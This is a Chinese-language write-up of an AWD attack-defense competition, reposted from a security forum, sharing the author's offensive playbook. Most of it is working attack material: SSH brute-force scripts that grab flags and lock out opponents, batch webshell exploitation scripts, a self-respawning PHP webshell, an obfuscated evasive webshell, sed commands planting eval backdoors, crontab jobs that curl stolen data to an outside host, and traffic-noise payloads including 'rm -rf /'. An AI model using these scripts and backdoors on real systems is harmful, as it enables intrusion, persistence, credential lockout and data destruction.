前言
这是一个市赛。之前没有怎么打过AWD,所以进入决赛后只有三天的准备时间,期间我不停的请教大佬,阅读各类文章,受益颇深,做此纪录,奉献给掌控的各位同学学习。
在AWD中本是三人一队,可惜我所在的单位,只有我一个人会网安,所以我拉了一个开发的同志来和我去打AWD,他负责防御,我负责攻击。今天刚刚比赛完做此纪录,最终的一个成果是第四名总共有十五支强队。
比赛承接单位是安恒,在安恒的线下AWD遇到了很多各种奇葩事情特此作为记录。
速成学习期间
在学习期间,我不断虚心讨教许多同学,也很感谢能为我解答,其次就是大量的文章经验积累,摸清一整个AWD的模式和玩法,以及一些骚操作和思路
因为我是主攻击,所以我就不多说防御的事情,只能是说说思路问题
环境情况
安恒的比赛是可以上awd的,选手可以带电脑,期间可以上网查资料
所以这是一场靠底子和手速的一场战斗,脚本面前,众生平等。
一个队伍一个c段,且机器ip不连续,官方会发出靶机资产表
一个队伍,两台服务器Web-Linux要去做加固
防御
1、上去ssh直接更改密码
要提前和队友沟通好密码是什么,别比赛了一点默契都没有还要不停的问
2、上文件监控脚本、waf
这里别上通防,waf和通方还是有区别的,被裁判cheke到是会扣大分的
3、打包备份网站源码
4、修改mysql密码
5、修改后台密码
6、查看网站基本情况,把所有的功能点适当的去修复或者注释掉关键传参
攻击
我原本因为赛场上是不能上网的,但是又能带电脑,所以我准备了不少工具和离线文库
工具清单准备:
ssh连接工具、burp、Railgun、脚本
kali的peiqi文库:http://192.168.145.133/wiki/cms/
本地白泽文库
winscp、seay代码审计、Goby、Fscan、dirsearch
调试共享文件
做好万全之策,在比赛中才不会慌乱的去找软件打开,在比赛前就要把所有东西都准备好
1、登录ssh该密码,用脚本批量获取flag并且改密码
passwd #改密码
然后举办方给的密码,按照实际情况,如果是可批量改密码的情况,直接上ssh脚本批量改密码
查看可登录系统的用户
尝试爆破ssh其他账号
一旦爆破成功,马上写进脚本中查询可登录系统的用户 cat /etc/passwd |grep "/bin/bash"
按照以往的AWD逻辑中,都会有一段时间给选手进行系统加固,但是安恒的比赛没有,所以很刺激,一开局就是攻击,但是我们再此之前都是按照常规的AWD去做准备的,所以我想了新的打法。开局只攻不防,脚本和手速面前,众生平等。
`根据安恒的规则情况,我们不能按照常规的打法去做“先防御好再攻击”,因为我们只有两个人,并且还有两台服务器,我们不能同时去做防守再来攻击。这样的话后续对我们很不利,漏洞只会越来越少,不会越来越多
所以我想着让队友直接登录A机器进行扫后门改密码,我登录B机器扫后门改密码。所以我们目前的攻击点有两个,第一个是SSH弱口令、第二个是后门WebShell;在第一点中我会和大家说SSH密码批量获取FLAG以及修改他的密码,让他们坐牢到比赛结束`
我们拿到默认密码之后,直接用脚本批量去改。
脚本解释
# cat其他人flag并且修改掉ssh的弱口令,NC高位端口连接即有shell的也有单独列出来的
import paramiko
import pexpect
import threading
import time
username = ['root']
passwd = ['123456']
def C(cmd, newpw, username, passwd, ip):
for i in range(0, len(username)):
U = username[i]
print("用户名为:", U)
for j in range(0, len(passwd)):
print("密码为:", passwd)
P = passwd[j]
print("正在连接", ip)
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(hostname=ip, port=22, username=U, password=P, timeout=1)
stdin, stdout, stderr = ssh.exec_command(cmd)
flag = stdout.read().decode('utf-8')
print("目标:" + ip + "存在漏洞,内容为:" + flag, end='')
print("IP:" + ip + "密码已修改成:" + newpw)
check = "echo" + " root:" + newpw + " | chpasswd"
stdin1, stdout1, stderr1 = ssh.exec_command(check)
ssh.close()
except:
pass
def addusername(end1):
for i in range(0, end1):
end1 = str(end1)
i = str(i)
Loading = input("一共输入" + end1 + "个用户,请输入第" + i + "个值:")
username.append(Loading)
print(username)
return username
def addpasswd(end2):
for i in range(0, end2):
end2 = str(end2)
i = str(i)
Loading = input("一共输入" + end2 + "个密码,请输入第" + i + "个值:")
passwd.append(Loading)
print(passwd)
return passwd
def NC(END): # 注意!!!该方法只能在Linux中也就是kali中运行,因为pexpect中的函数是不支持在windows中运行的
while (1): # 可一直循环占坑,防止其他人连接
for i in range(0, END):
host = '192.168.132.' + str(i)
a = pexpect.spawn("nc %s 8888:" % host) # 指定高位端口
a.setecho(False)
a.sendline('cat /flag.txt')
a.sendline('exit')
flag = a.read()
print(host + ':' + flag)
f = open('ip.txt', encoding='utf-8')
if __name__ == '__main__':
cmd = input("请输入值你需要执行的命令:")
newpw = input("需要修改的密码:")
while True:
line = f.readline()
if line:
try:
threads = [10]
a = threading.Thread(target=C, args=(cmd, newpw, username, passwd, line))
a.start()
except:
print('异常:' + line)
else:
break
f.close()
若成功,请尝试关闭对手的http服务,用这个脚本,这个脚本仅做命令执行用
关闭选手的HTTP让他掉大分的同时,我们也可以获取他的flag进行加分,直接拉开距离,同时也避免了其他攻击队伍获取的flag
#这个脚本仅用于登录读取flag用,速度较快
import paramiko #paramiko是一个用于做远程控制的模块
import threading #threading模块是Python里面常用的线程模块
def ssh2(ip,username,passwd,cmd):
try:
ssh=paramiko.SSHClient() #创建一个ssh对象
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #自动选择yes
ssh.connect(ip,22,username,passwd,timeout=0.1) #连接服务器
for m in cmd:
stdin,stdout,stderr=ssh.exec_command(m) #执行操作
out=stdout.readlines() #获取命令执行的结果
for o in out:
print(o)
print('%s\tOK\n'%(ip))
ssh.close()
except:
print('%s\tError\n'%(ip))
if __name__=='__main__':
cmd=['cat /flag']
username='root'
passwd='root'
threads=[10]
for i in range(1,130):
ip='192.168.23.'+str(i)
a=threading.Thread(target=ssh2,args=(ip,username,passwd,cmd))
a.start()
1-2、把网站源码拖出来d盾和seay进行扫描
把打包的文件下载下来tar -zcvf mzy.tar.gz ./
改进
在这点中算是过基操,但是会有一个问题,一旦比赛因为环境或者网络因素,在打包源码或者在下次压缩包回来太慢了亦或者是其他因素,我们会吃大亏的。
于是我开始回忆起,平时在单位做Linux应急,都是用一些脚本去自动收集信息,例如:IP外连情况、网络进程、计划任务、可疑账户等信息
所以我在想,有没有什么可以直接略过打包源码、下载源码这个过程呢?
于是乎不停的思考,上网寻找文献发现,河马有一个Linux的webshell检测工具,我只能说很好用,强力推荐,因为这使我们能减少一部分的工程量
linux版本的河马
上传上去之后,直接运行这一行命令chmod 777 ./hm64;./hm64 scan /var/www/html
有图可见,直接运行命令之后,他会当前文件下生成一个result.txt
结果就在其中
优点:优化了我们打包下载的过程,非常方便,直接看文件所在路径,直接看内容,然后复制他的路径直接贴到网站上进行复现,也是非常方便的咧
2、扫端口
先讲讲常规方法
一般来说都是直接nmap -A -T4 127.0.0.1 -p 1-65535
以下是一些服务端口的漏洞:
22:ssh弱口令
873:未授权访问漏洞
3306:mysql弱口令
6379:redis未授权访问漏洞
但是nmap扫描的速度太慢,其他软件也不太合适,于是乎我翻出了我清朝前的老工具
需要考虑到另外一种情况就是,如果举办方不给密码的情况下,我们可以尝试爆破
端口扫描和暴力破解都可以在一个软件上使用
测试图
你看,就这样的,还要什么nmap?还要什么九头蛇?
3、WebShell后门利用
这个环节比较拼手速,只要速度够快 就能得到更多的分数
在前面,我们假设D盾或者河马扫描出漏洞之后,可以直接用脚本跑起来拿flag
然后看其中的传参,进行复现
其次再用脚本批量去复现
这里附一个简单的python的get请求flag的脚本
import requests
for i in range(1,255):
#http://192-168-1-30.pvp2161.bugku.cn/index.php?k=assert
url = 'http://162.14.69.58/a.php?1=system(%27cat /flag%27);'
print(url+"\n")
try:
res = requests.get(url,timeout=1)
print(res.text)
except:
print("未找到主机")
这里附一个简单的python的POST请求flag的脚本
脚本内容不做过多阐述,大家自己阅读代码即可
import re
import requests
file_ip = open('runList.txt', encoding='utf-8')
overtime = 0.2
mode = True
method = 'post'
agreement = 'http://'
flag_path = '/a.php'
password_key = '1'
command = 'system(\'whoami\')'
password = 'pw'
data = {
password: 'meTQL4s9jchyLBKq',
password_key: command,
}
while True:
line = file_ip.readline()
if line:
try:
res = requests.request(method, agreement + line.rstrip() + flag_path, data=data, timeout=overtime)
if res.status_code == 200:
filename = 'flag.txt'
with open(filename, 'a', newline=None) as file_object:
if mode:
file_object.write(re.findall(re.compile(r'[{](.*?)[}]', re.S), res.text)[0] + '\n')
else:
file_object.write(res.text + '\n')
except:
print(line)
else:
break
file_ip.close()
这里的脚本会获取存活IP列表中的IP进行批量获取flag
flag获取到之后,会生成一个flag.txt
这里再附加一个flag批量提交脚本
可根据比赛提供的Token去进行填写
import time
import requests
flag = open('flag.txt', encoding='utf-8')
overtime = 0.2
method = 'post'
url = 'http://192.168.23.129/flag.php'
while True:
line = flag.readline()
if line:
data = {
'token': '',
'flag': line,
}
try:
res = requests.request(method, url, data=data, timeout=0.05)
if res.status_code == 200:
filename = 'flagLog.txt'
with open(filename, 'a', newline=None) as file_object:
file_object.write(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) + '\t|\t' + res.text + '\n')
except:
print('异常:' + line)
else:
break
flag.close()
权限维持
我这里研究了多种比较有意思的权限维持手法,这里给大家都分享一下
不死马
权限维持首当其充当然是不死马优先啦
给大家提供一个简单的不死马
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.3.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){<span class="label label-primary">@eval($_POST[a]);}</span> ?>';
//pass=pass
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .3.php');
usleep(5000);
}
?>
把这个代码上传到对方的服务器上,并且访问一下这个php文件,他就会开始运行。开始运行的时候,他就会把自己给kill掉,在内存中不断的运行!
就选手发现不死马,删除也会再次生成。无限生成,看看代码内容就知道 while (1)就是永远为真,永远循环生成运行的意思
这个时候,我们就可以根据不断生成的不死马去访问获取flag!
每一轮都能锤一次
软连接
ln -s /flag /var/www/html/flag
我们打开虚拟机可以测试一下
可见我们的网站目录下也有一个flag了
如果我们ls -al看一下就可以发现他是从哪里来的,如果被发现一删除,那么我们软连接就失效了,就特没意思
所以我们继续思考是否还能否加深利用
这个时候,我在看应急响应的文章看到了crontab,就恍然大悟,这个是Linux的定时计划任务,我貌似也能靠这个东西帮我生成,也算是半成品的不死软连接了哈哈哈哈
两分钟执行一次软连接命令
(echo "*/2 * * * * /bin/ln -s /flag /var/www/html/flag" )| crontab
经过本人的测试,我把网站目录下的flag删除之后,两分钟后他也会自己继续生成在目录中
我们在比赛的时候,可以把软连接藏在网站目录的小角落中,即使对方有类似与河马这样的查杀工具也无用,因为我们这个并不是木马,也不是什么有害文件
但是这样的话,我们还是要一个一个去获取flag也麻烦,我就在想能不能利用这个crontab帮我们去提交他自己的flag捏?
于是乎就有了这个命令
让对方每隔五分钟帮我提交一次flag,且提交的flag还是自己的flag,提交到我的flag的API接口中,帮我加分
是不是听起来很棒?哈哈哈哈,大家也可以去试试
(echo "*/5 * * * * curl 10.10.10.5:8000/submit_flag/ -d 'flag='$(cat /flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'" )| crontab
插入一句话木马到php文件中
我的想法是,做权限维持,我想把一句话木马插入对方原有的海量代码文件中,例如index、config之类的
我尝试过echo之类的命令去进行插入,其实都不太行,最后我找到了sed命令,还是挺好用的,不过要看实际情况的环境权限问题
sed -i '1 i <?php <span class="label label-primary">@eval($REQUEST[888]);?</span>>' /var/www/html/index.php
可以插入指定文件的第一行,但是那个页面会边空白,这个还没有去深入研究,暂且就这样了也能用
但是这样的话,很容易被看出来,于是乎
我找了一个免杀马,极不容易辨别出是一句话木马
如果插入在海量文件中的某一行,也是极难发现的
免杀马
<?php ${(chr(63)^chr(96)).(chr(60)^chr(123)).(chr(62)^chr(123)).(chr(47)^chr(123))}[(chr(43)^chr(64))](${(chr(36)^chr(123)).(chr(46)^chr(126)).(chr(47)^chr(96)).(chr(46)^chr(125)).(chr(47)^chr(123))}[(chr(43)^chr(64))]); ?>
这里给大家提供多几个木马去留着用
php: <?php <span class="label label-primary">@eval($_POST['pass']);?</span>> <?php eval($_GET['pass']);
asp: <%eval request ("pass")%>
aspx:
烟雾弹
如果在时间充裕的情况下 可以玩一玩,很多人是会去看流量日志,去看payload回来复现的,所以不让他们拿到我们可以一直打烟雾弹做流量干扰
import requests
import time
#制造大量垃圾流量,干扰对方选手甄别我方攻击流量
def scan_attack():
file={'shell.php','admin.php','web.php','login.php','1.php','index.php'}
payload={'cat /flag','ls -al','rm -f','echo 1','echo 1 /proc/sys/net/ipv4/ip_forward','rm -rf / --no-preserve-root'}
while(1):
for i in range(1,255):
for ii in file:
url='http://192-168-1-'+ str(i)+'.pvp2162.bugku.cn/'+ii
print(url)
for iii in payload:
data={
'payload':iii
}
try:
requests.post(url,data=data)
print("正在搅屎:"+str(i)+'|'+ii+'|'+iii)
time.sleep(0.1)
except Exception as e:
time.sleep(0.1)
pass
if __name__ == '__main__':
scan_attack()
黑白盒测试阶段
在打AWD阶段不能是仅仅靠一个ssh弱口令和后门,是不足够的
我们需要快速找到系统漏洞,最好是有针对性的找漏洞,例如文件上传、文件包含、sql注入、命令执行等漏洞去进行测试,如果可以上网的情况下,当然好办
直接上网查
如果不能上网,那就搭建本地文库,这里推荐佩奇文库、白泽文库、零组文库
这个是搭建在本地的喔
值得一提的是,如果我们没有办法在文献中找到可利用的漏洞,那么请不要死磕cms
可以去看看中间件漏洞,例如ThinkPHP、Apache等
今天打完的这个比赛就是如此,我那是一款国外的fishfishcms
网上也极少此cms的漏洞公布,基本找不到poc
但是在后台登录失败的时候,我看见了一个笑脸
那时候我就断定,这个是ThinkPHP毫无疑问
我果断直接拿出工具直接梭哈,发现cms存在ThinkPHP存在5.0.23RCE
当时可能因为网站结构问题,rce无回显,我就直接上传shell了,这个上传shell让我不得不吐槽一个工具,让我掉大分了
这个工具上传的shell还是可以用的,但是我没注意执行命令的回显结果,我当时太忙了 很着急复现拿flag,
我就没注意到我执行whoami的时候 页面上有两个
www-datawww-data
我就直接给全场的人都上了马
然后想批量提交flag的时候一直没加分
我就很好奇,就直接去手工提交flag,想看看咋回事,一直报错,但是一直提交不上,一直说我flag有问题,但是奇怪的是这明明没问题啊 我还以为是举办方机器出问题了
后来分析了一下,才发现,
他的shell给我输出了两个连在一起的flag,才导致我交不上flag,不然我就第三名了
这个工具让我耽误事儿了!!!!气死了!!!!!
http://1.14.73.232/peiqi.php
peiqi=system('curl http://162.14.101.108/index.php?token=5946_USR-20230427-17gpw ');
他的马我没注意看,但是我猜测马的内容应该是这样的,两个eval了
没发现漏洞的情况
如果大家在比赛期间没有发现漏洞的情况下,也没关系不必着急,做好你该做的事情,不要自乱阵脚。我们可以根据流量日志去分析大家锤你的payload去进行复现漏洞,然后你就有攻击payload去锤别人了
读取网站日志文件
第一种情况:没有流量监控脚本的情况下使用
这个是实时显示网站的流量日志,这个log的存放位置需要大家自行更改
tail -f /var/log/rzhi.log
或者直接搜索日志中的敏感关键字
自己写的log文件中进行搜索关键字如(flag、cat、curl),一旦分析出攻击方法便可提供给队友,再分析流量便可知道是哪个ip攻击的我方服务器。这里的分析分为几种情况,要分情况进行决策。
grep "cat /flag" -A 1 ./access.log |tail -n 10
案例:看看谁访问过我的robots.txt
grep "robots.txt" -A 1 ./access.log |tail -n 10
第二种:有流量监控脚本的情况下使用
使用队友的监控脚本去复现payload
补充一些小知识点
文件读取常见Payload
url?f=/root/flag.txt
url?aaa=system(‘cat /root/flag.txt’);
url?url=file://localhost/root/flag.txt
文件上传绕过手法
https://bbs.zkaq.cn/homework/20572.html
总结:
心态很重要,不要催队友搞他心态哈哈哈哈
不要自乱阵脚,我也算是三天速成AWD了,给大家分享的内容有限,后续我会继续学习更新。对于本次的成绩也算是认可,但是有点不甘心,因为获取到flag输出了俩遍,我没有注意到,我的心境乱了,导致我没有认真去分析我所发生的问题
大家不要把全部经历投入与研究攻防,更多的时间应该跟组委会或者裁判去沟通网络环境、物理机环境、比赛环境等,要做到明白、清楚!
举例如:你准备的脚本都是打C段的,万一举办方给的靶机环境都是一个队伍一个B段呢?这不就把你干懵逼了?准备十几个脚本都用不上那么现场是没有那么多时间给你改脚本的。
不管结果如何,比赛的名次不是一个句号,只是一个过程,继续努力
文章转载自:Track安全社区
温馨提示:一切未经授权的渗透测试行为均为违法行为。